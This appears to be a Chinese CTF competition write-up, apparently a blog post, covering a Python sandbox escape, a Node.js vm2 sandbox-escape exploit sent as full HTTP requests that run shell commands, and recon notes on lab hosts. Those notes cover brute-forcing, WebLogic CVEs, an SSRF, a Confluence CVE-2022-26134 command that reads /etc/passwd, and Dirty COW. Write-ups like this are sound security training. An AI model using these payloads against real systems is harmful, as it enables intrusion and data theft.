上海磐石ctf部分wp

一、ctf赛题制

1、bird

这道题直接按照图上的翻译即可得到flag

https://www.bilibili.com/read/mobile?id=19369626
image.png

2、ezpython

沙箱逃逸,构造pyload
在这里插入图片描述

找到os对象
print(“”.class.base.subclasses()[137].init.globals[‘po’+‘pen’](‘cat *’).read())

3、nodejs

发现历史漏洞
image.png

抓包读取到:

const express = require('express');
const app = express();
var bodyParser = require('body-parser')
app.use(bodyParser.json())
const {VM} = require("vm2");
const fs = require("fs");
const session = require("express-session");
const cookieParser = require('cookie-parser');
session_secret = Math.random().toString(36).substr(2);
app.use(cookieParser(session_secret));
app.use(session({ secret: session_secret, resave: true, saveUninitialized: true }))

function copyArray(arr1){
    var arr2 = new Array(arr1.length);
    for (var i=0;i<arr1.length;i++){
        if(arr1[i] instanceof Object){
            arr2[i] = copyArray(arr1[i])
        }else{
            arr2[i] = arr1[i]
        }
    }
    return arr2
}

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.post('/vm2_tester',function(req,res){
    if(req.body.name) {
        req.session.user = {"username": req.body.name}
        const properties = req.body.properties
        for (let i = 0; i < properties.length; i++) {
            if (properties[i] == 'vm2_tester') {
                res.send('cant set vm2_tester by self')
                return
            }
        }
        req.session.user.properties = copyArray(properties)
        res.send('Success')
    }else {
        res.send("input username")
    }
})


app.post('/vm2',function  (req, res) {

    if(req.session.user && req.session.user.properties) {
        for (var i = 0; i < req.session.user.properties.length; i++)
            if (req.session.user.properties[i] == 'vm2_tester') {
                if (req.body["code"]) {
                    if (/\b(?:function)\b/.test(req.body["code"])) {
                        res.send("define function not allowed")
                        return;
                    }
                    if (/\b(?:getPrototypeOf)\b/.test(req.body["code"])) {
                        res.send("define getPrototypeOf not allowed")
                        return;
                    }
                    const vm = new VM();
                    res.send(vm.run(req.body["code"]))
                    return
                } else{
                    res.send("input code")
                }
            }
    }else{
        res.send("not vm2 tester rights")
    }

})


app.get('/', function (req, res) {
    res.send('see `/src`,use vm2 3.9.16');
});
app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

分析:
image.png

他的递归始终是返回arr2,所以多层数组最终里面的值都是传进arr2
image.png

这里过滤的是一维数组,多维数组的值还是可以控制,递归完,多维数组的值还是返回给了arr2
然后弱类型比较的时候,自动比较首个元素
0bf8db6f02b3714ef12563be15dbd85.png

构造对象:
image.png

网上的poc
https://gist.github.com/arkark/e9f5cf5782dec8321095be3e52acf5ac
image.png
该poc为命令注入执行代码,需要去除掉多余的换行、空格,同时转义双引号

创建对象:
POST /vm2_tester HTTP/1.1
Host: 116.236.144.37:29292
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: connect.sid=s%3AYNrtHz85yRxOIPkNumtvpi1w6PdQQXMV.TL3MtFYaewXcWwz3wDzugTXOl6lXQ%2B2RGQRVK5Cpym4
Connection: close
Content-Type: application/json
Content-Length: 82

{“name”:“a”,“properties”:{
“length”:1,
“0”:{“length”:1,“0”:[“vm2_tester”]}}
}
image.png

命令注入:
POST /vm2 HTTP/1.1
Host: 116.236.144.37:29292
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: connect.sid=s%3AYNrtHz85yRxOIPkNumtvpi1w6PdQQXMV.TL3MtFYaewXcWwz3wDzugTXOl6lXQ%2B2RGQRVK5Cpym4
Connection: close
Content-Type: application/json
Content-Length: 335

{“code”:“const err = new Error(); err.name = { toString: new Proxy(() => “”, {apply(target, thiz, args) { const process = args.constructor.constructor(“return process”)(); throw process.mainModule.require(“child_process”).execSync(“cat /f*”).toString();},}), };try { err.stack; } catch (stdout) {stdout; }”}

image.png
flag{uFyIjZmsP8K5NBQhcJ1iwnxWLD3k0fag}

二、漏洞挖掘赛

http://10.103.64.207/

image.png
3389 rdp 被加密无法爆破
1433 mssql 可以kail爆破mssql
445端口:Microsoft-DS,为共享开放,震荡波病毒利用,一般应关闭

139端口:NETBIOS协议应用,为共享开放
135端口:DCOM服务,冲击波病毒利用,不能关闭

10.103.241.206

image.png
ssh ssh爆破
openssh 7.4版本 () OpenSSH命令注入漏洞(CVE-2020-15778)复现

110端口:POP3服务器开放此端口,用于接收邮件
25端口:SMTP服务器所开放的端口,用于发送邮件
111端口:SUN公司的RPC服务所有端口

10.103.53.171

image.png

7001端口 Weblogic的默认端口
验证t3服务
image.png
image.png

CVE-2016-0638
CVE-2018-2893
CVE-2019-2890

s

Weblogic SSRF 漏洞(CVE-2014-4210)

https://blog.csdn.net/zhangxiansheng12/article/details/130738225
image.png
image.png

显然使用上面的payload已经成功探测出了内网的服务,因为成功返回了404,从某些方面讲,这也是一种成功。如果这是一个没有开启的服务,返回的内容会是下图的内容。
image.png

cve-2022-26134
image.png
python3 cve-2022-26134.py http://10.103.4.54:8090/ “cat /etc/passwd”
image.png

脏牛提权:
image.png
写入内存马
没做完

image.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值